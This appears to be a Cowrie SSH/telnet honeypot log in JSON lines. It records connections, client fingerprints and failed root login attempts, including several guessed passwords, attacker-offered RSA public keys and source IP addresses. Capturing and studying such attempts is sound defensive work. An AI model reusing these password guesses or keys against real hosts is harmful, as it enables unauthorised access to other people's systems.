{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:2a:f5:ce:c2:e4:b9:c9:59:9a:f8:6c:bf:d9:bb:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgYCTB4+sIFW2pVXjfNe7SlWpLoxDI7RIjmZZ/NXInRmPUmJIGYWyXPGDUzKsL2ulW4YclFC7zEt2A4UipfSjOrQ/OjQgz5XFhfPhAQELCz9SYUaPlidlYt5LTv2ROdXnvzIW85zoM96Z0JBCL8vbfMIpvxDUB5fp86F0eOVdQfOI4/5/CssCr1qn2VTcitTg1TvFs0wd2/74Q5Bx12T3oacRI5l+qYHudm7kNTQtnxFUgP0Zk4+pP4wVvLdGWRqogHJaYH9pvGnO5lUiNtsckQYiamvRhYSFCs23nujdPcAChYgi5TeL8GMrEl1rk8od8x+AmJM36+yXEqpi0uZP8i6CdRJknzqitngQ44NBSQUGz0+/4Rr8j3iuc9VwrrbHFsaNkYpP6sEPpsG9gS0Ts2F/FBEUHFls58TyfDrBlGvRMTgCRvuYgSZoQhtnh+omU+aur6D1TS5LmDrmpcBoRU2GbUuQRAxIgvsXnn0rDRiaPOctEaNibAwhOBgQitFPiKsJEJQV//TI7z90d9KMBzGpEADG8ogZgTJNQ5rc5kfU5ErDtDsXeTXkL1LTFD0nGc/1pLdkWxbLNwT5OGhi9djMCXSNx3kBtYmTEp3Pphr1ZzBrCeeWa8tjT7dvywhrCIOTbibsTMPUvIkCPIiCLkRlRvUc2yJPfvylwjtja7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.637742Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:56.659906Z","src_ip":"148.113.221.114","session":"3b4e4c3518f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11235813","message":"login attempt [root/11235813] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:57.079912Z","src_ip":"103.77.175.15","session":"2a3dc80de0e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:58.337168Z","src_ip":"103.77.175.15","session":"2a3dc80de0e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.707414865493774,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:15:58.876305Z","src_ip":"152.42.224.71","session":"ea9658027538","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54266,"dst_ip":"10.17.0.5","dst_port":23,"session":"87e3cfefea1a","protocol":"telnet","message":"New connection: 152.42.224.71:54266 (10.17.0.5:23) [session: 87e3cfefea1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:09.034262Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.107.251","src_port":39196,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c0b81c3eeed","protocol":"ssh","message":"New connection: 119.28.107.251:39196 (10.17.0.5:22) [session: 9c0b81c3eeed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:25.432269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:25.437362Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:25.686582Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:72:72:b8:95:83:70:73:58:7b:86:00:39:5f:cc:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA69ll8Gb5724KwYGL43NlFyuoOTzKnhxAzlLvdVFip22fId4djDTLWzykesE+OfOvFlzGRRzZWpFhoETBIutWAKflJBFu+KQ6PpzOVNfMDQ8fI1//uxBa0NsWwa7ODHNAgiIyUokhUr5npeJcmbUUT+8V77FZJ9GgRg5JClqxqwgy6q8f7dh7Byfkcj44iZbMSaflgczW1Pm1eKPIGSjN31TWxVFIZOxXk9Ke87yNTOTMRdBCpMEPeAqFOsxZBMrsL3REavkEWZ054oA3zovIGgOLpwVpMpLnTviYdIahB2AvHClJeKr5rH0HjVA281BCeUPuPmQDbKA+rMIzzcEYaQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:72:72:b8:95:83:70:73:58:7b:86:00:39:5f:cc:e7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:26.904450Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:72:72:b8:95:83:70:73:58:7b:86:00:39:5f:cc:e7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA69ll8Gb5724KwYGL43NlFyuoOTzKnhxAzlLvdVFip22fId4djDTLWzykesE+OfOvFlzGRRzZWpFhoETBIutWAKflJBFu+KQ6PpzOVNfMDQ8fI1//uxBa0NsWwa7ODHNAgiIyUokhUr5npeJcmbUUT+8V77FZJ9GgRg5JClqxqwgy6q8f7dh7Byfkcj44iZbMSaflgczW1Pm1eKPIGSjN31TWxVFIZOxXk9Ke87yNTOTMRdBCpMEPeAqFOsxZBMrsL3REavkEWZ054oA3zovIGgOLpwVpMpLnTviYdIahB2AvHClJeKr5rH0HjVA281BCeUPuPmQDbKA+rMIzzcEYaQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:26.907990Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"37:04:81:5c:94:99:a1:53:3d:83:9c:58:17:e8:fb:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAz6GTndMBTlAGmXrttH0247Nugw5l9hYwjbSM8ujGAWPgRdH/3LgSsMIYwBSI1bF+KN0vvqUL/27ZWxVV+aQQyBxJ8aULs2LCJsIeNBBxLGmMMHOoNanemdkEpRriRtvcDWRDFjvwKDDU6UWh7Dp6hBIMkRZvzyQ1Vx4aQGbk2+X4QTgC2DOCQe9iaeXWKOP9Dy79TgT62KyWmcnei17iq5ACk1bl5YnFz8+UsWoSS5nxdYUq3XDaIgnF9PM0IXwRoqUEJhsVHk6lL3qGYVHUc6+Jd2ZSRqNfXbOXX8sGZnCMFuzKdovLsTg8Jhyy56COy0lv9DsoY3IduXOpskarI1WsVBgUznd6sFkbRl/m8hXiHjX8PAv4HZM4VmbYSTO+9iDpqhPk4I4iF/ucY9ovKqR7x5IwpVDTdmcOtAIF5cEMaOi0PV8FyelaJHmov/zLGKiLrg/5pPJ+py+Tpc64U4Xbs3ZVt4dA0SRw0aTwMJ9JiOai3os0Rt5uuv97xiVEl/yG4NTmeRwJxuSfmLM6uLAFm5RHHIbPPzIbF5J13L3Zirf4Yn3PdwsjqDDl4L2IvNmgSxl+VGLSMm11kxSBhegHgn8zyzJuLb33/7nu3HBEpXzR0+xXwSttU6gO/gJIYnWnRTUDTsb1x8egx9O9vvWPLagexxlkOTonA/0Sbrc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 37:04:81:5c:94:99:a1:53:3d:83:9c:58:17:e8:fb:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:27.165620Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"37:04:81:5c:94:99:a1:53:3d:83:9c:58:17:e8:fb:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAz6GTndMBTlAGmXrttH0247Nugw5l9hYwjbSM8ujGAWPgRdH/3LgSsMIYwBSI1bF+KN0vvqUL/27ZWxVV+aQQyBxJ8aULs2LCJsIeNBBxLGmMMHOoNanemdkEpRriRtvcDWRDFjvwKDDU6UWh7Dp6hBIMkRZvzyQ1Vx4aQGbk2+X4QTgC2DOCQe9iaeXWKOP9Dy79TgT62KyWmcnei17iq5ACk1bl5YnFz8+UsWoSS5nxdYUq3XDaIgnF9PM0IXwRoqUEJhsVHk6lL3qGYVHUc6+Jd2ZSRqNfXbOXX8sGZnCMFuzKdovLsTg8Jhyy56COy0lv9DsoY3IduXOpskarI1WsVBgUznd6sFkbRl/m8hXiHjX8PAv4HZM4VmbYSTO+9iDpqhPk4I4iF/ucY9ovKqR7x5IwpVDTdmcOtAIF5cEMaOi0PV8FyelaJHmov/zLGKiLrg/5pPJ+py+Tpc64U4Xbs3ZVt4dA0SRw0aTwMJ9JiOai3os0Rt5uuv97xiVEl/yG4NTmeRwJxuSfmLM6uLAFm5RHHIbPPzIbF5J13L3Zirf4Yn3PdwsjqDDl4L2IvNmgSxl+VGLSMm11kxSBhegHgn8zyzJuLb33/7nu3HBEpXzR0+xXwSttU6gO/gJIYnWnRTUDTsb1x8egx9O9vvWPLagexxlkOTonA/0Sbrc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:27.169329Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:84:c0:58:3c:b1:37:8f:c7:40:a3:46:0f:af:d7:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdoWGSOdas7iU+Mit/XD7TbI5E9aDxxm7WWYVpvMWIefBGeUngWufGxfq2t314VoTmg7+rS60KZorW38xl0i5vxfWs4rocVcJUI3LO0BhFtkhoUb4pfn8HwrlZXuS4fvpw83Ot2g7d2Sotq829fvJPc1l8oq980ef8C6DAcvHTQgC5aosA5KS9VLn9IZbN0Zr60GE8u03b/x1SAkF/8fP7+eRPdiQjWygj3Vm43QgKQWUpOXNGRhE7eKxGGMWUkW9BhLLk3Yv97YjXyY7C+2/b7l0Ik/E6XKff6JHvWNAlazEJOmHvpva3MAisCHOaXV+UTQci0LrC1iOonwDrGHod","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:84:c0:58:3c:b1:37:8f:c7:40:a3:46:0f:af:d7:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:27.428829Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:84:c0:58:3c:b1:37:8f:c7:40:a3:46:0f:af:d7:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdoWGSOdas7iU+Mit/XD7TbI5E9aDxxm7WWYVpvMWIefBGeUngWufGxfq2t314VoTmg7+rS60KZorW38xl0i5vxfWs4rocVcJUI3LO0BhFtkhoUb4pfn8HwrlZXuS4fvpw83Ot2g7d2Sotq829fvJPc1l8oq980ef8C6DAcvHTQgC5aosA5KS9VLn9IZbN0Zr60GE8u03b/x1SAkF/8fP7+eRPdiQjWygj3Vm43QgKQWUpOXNGRhE7eKxGGMWUkW9BhLLk3Yv97YjXyY7C+2/b7l0Ik/E6XKff6JHvWNAlazEJOmHvpva3MAisCHOaXV+UTQci0LrC1iOonwDrGHod","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:27.433134Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a7:2e:e1:ea:83:08:68:d8:db:87:43:73:53:ac:a1:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzKxiECSVaa3m9xXM4DN7qll2lV5knE5bMM6wfy8Z3NPmECf5NvOnd2f714MlgQN3DJ8TRmpNqpzLfveftZdSbgqz0BDUCN75YKeCP8qkpo26KKpjxedEkxtkSJpCHvao4tVVuVA+jaR/4mZL/7Mtnp7C6R7rh6CNrOMh4aWpG0l4tW8iAvx3mcu6gVscWBccHZHDwwoduD0P8GLiJ/WAXlf/9/nFI53u+6K87HnZ2ENThrUThxNPVh4uYMrmZkPx6x9ejPtf1jiLDFjBK30c3MNe5WOsbzQAMp6AWBuCs2jwq4DIXiEJCHWNjsFjs6M6flgQph/jPUw1zKlzz9xot","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a7:2e:e1:ea:83:08:68:d8:db:87:43:73:53:ac:a1:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:27.682819Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:2e:e1:ea:83:08:68:d8:db:87:43:73:53:ac:a1:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzKxiECSVaa3m9xXM4DN7qll2lV5knE5bMM6wfy8Z3NPmECf5NvOnd2f714MlgQN3DJ8TRmpNqpzLfveftZdSbgqz0BDUCN75YKeCP8qkpo26KKpjxedEkxtkSJpCHvao4tVVuVA+jaR/4mZL/7Mtnp7C6R7rh6CNrOMh4aWpG0l4tW8iAvx3mcu6gVscWBccHZHDwwoduD0P8GLiJ/WAXlf/9/nFI53u+6K87HnZ2ENThrUThxNPVh4uYMrmZkPx6x9ejPtf1jiLDFjBK30c3MNe5WOsbzQAMp6AWBuCs2jwq4DIXiEJCHWNjsFjs6M6flgQph/jPUw1zKlzz9xot","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:27.686936Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:69:42:80:36:ba:ec:fc:22:30:10:e3:4b:83:86:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCU7hmpzUzL28x1dgIydhYHsHoH4j763TNTmSwecDJ4nfrtz144Z7E3KMu6Z4JO29MPQ/jJnnDa3vAojTIvFFCu3xiZivClXuRc4BONep5RB27nXicqV2PyIFQboIa4zWNynQKPXC12fhIXVjkel1ujrDiuAZIzOKk0AOybC5b8Fpk+GaXFU30mKKyGLZwnA7m0lylSmT/OLIZhPGQRTz7SsjtTxdJC12SVJc82NX+xaKHkuxR3ThpQFlXk1i/WGKvZQJSevgwnUu3eCJ1elAyV08PwvDIXGHEEPgGrLBrtBWIqE92u3D1vf4AnC+0xebMI6eAuYDkqJR9rGjbHVUB1QHJB61vk90QB3FbCvheT9YpysSzQG3qizE5VqJXzmTwyotHr2But+j2WtuZdR62Oeuhrrh/L7LR4nXHDxkXjL5//AS0ALXNowA1YXuaEyTt0OxvplVl7gYSCiQnZ2XbI97XhEM1vd/ZAaC2T+PzygjQ/1UTpRMmEDruUXxJ4VEk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:69:42:80:36:ba:ec:fc:22:30:10:e3:4b:83:86:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:27.935659Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:69:42:80:36:ba:ec:fc:22:30:10:e3:4b:83:86:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCU7hmpzUzL28x1dgIydhYHsHoH4j763TNTmSwecDJ4nfrtz144Z7E3KMu6Z4JO29MPQ/jJnnDa3vAojTIvFFCu3xiZivClXuRc4BONep5RB27nXicqV2PyIFQboIa4zWNynQKPXC12fhIXVjkel1ujrDiuAZIzOKk0AOybC5b8Fpk+GaXFU30mKKyGLZwnA7m0lylSmT/OLIZhPGQRTz7SsjtTxdJC12SVJc82NX+xaKHkuxR3ThpQFlXk1i/WGKvZQJSevgwnUu3eCJ1elAyV08PwvDIXGHEEPgGrLBrtBWIqE92u3D1vf4AnC+0xebMI6eAuYDkqJR9rGjbHVUB1QHJB61vk90QB3FbCvheT9YpysSzQG3qizE5VqJXzmTwyotHr2But+j2WtuZdR62Oeuhrrh/L7LR4nXHDxkXjL5//AS0ALXNowA1YXuaEyTt0OxvplVl7gYSCiQnZ2XbI97XhEM1vd/ZAaC2T+PzygjQ/1UTpRMmEDruUXxJ4VEk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:27.939016Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:28.185483Z","src_ip":"119.28.107.251","session":"9c0b81c3eeed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.34771656990051,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:31.523248Z","src_ip":"152.42.224.71","session":"5bff55cf51b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":48674,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b54f4dc2738","protocol":"ssh","message":"New connection: 77.94.47.83:48674 (159.203.135.109:22) [session: 3b54f4dc2738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:34.240458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:34.245816Z","src_ip":"77.94.47.83","session":"3b54f4dc2738","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:34.374081Z","src_ip":"77.94.47.83","session":"3b54f4dc2738","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"counter","message":"login attempt [root/counter] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:34.747096Z","src_ip":"77.94.47.83","session":"3b54f4dc2738","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:35.875817Z","src_ip":"77.94.47.83","session":"3b54f4dc2738","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":42422,"dst_ip":"10.17.0.5","dst_port":22,"session":"b35837aa0165","protocol":"ssh","message":"New connection: 193.37.70.224:42422 (10.17.0.5:22) [session: b35837aa0165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:41.801181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:41.805968Z","src_ip":"193.37.70.224","session":"b35837aa0165","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:41.899140Z","src_ip":"193.37.70.224","session":"b35837aa0165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r1","message":"login attempt [root/1q2w3e4r1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:42.178003Z","src_ip":"193.37.70.224","session":"b35837aa0165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:43.275386Z","src_ip":"193.37.70.224","session":"b35837aa0165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48622,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a57dd408b7","protocol":"telnet","message":"New connection: 152.42.224.71:48622 (10.17.0.5:23) [session: 05a57dd408b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:44.383829Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":53746,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9086f8e2f2e","protocol":"ssh","message":"New connection: 103.122.221.179:53746 (10.17.0.5:22) [session: d9086f8e2f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:54.518349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:16:54.524952Z","src_ip":"103.122.221.179","session":"d9086f8e2f2e","protocol":"ssh"}
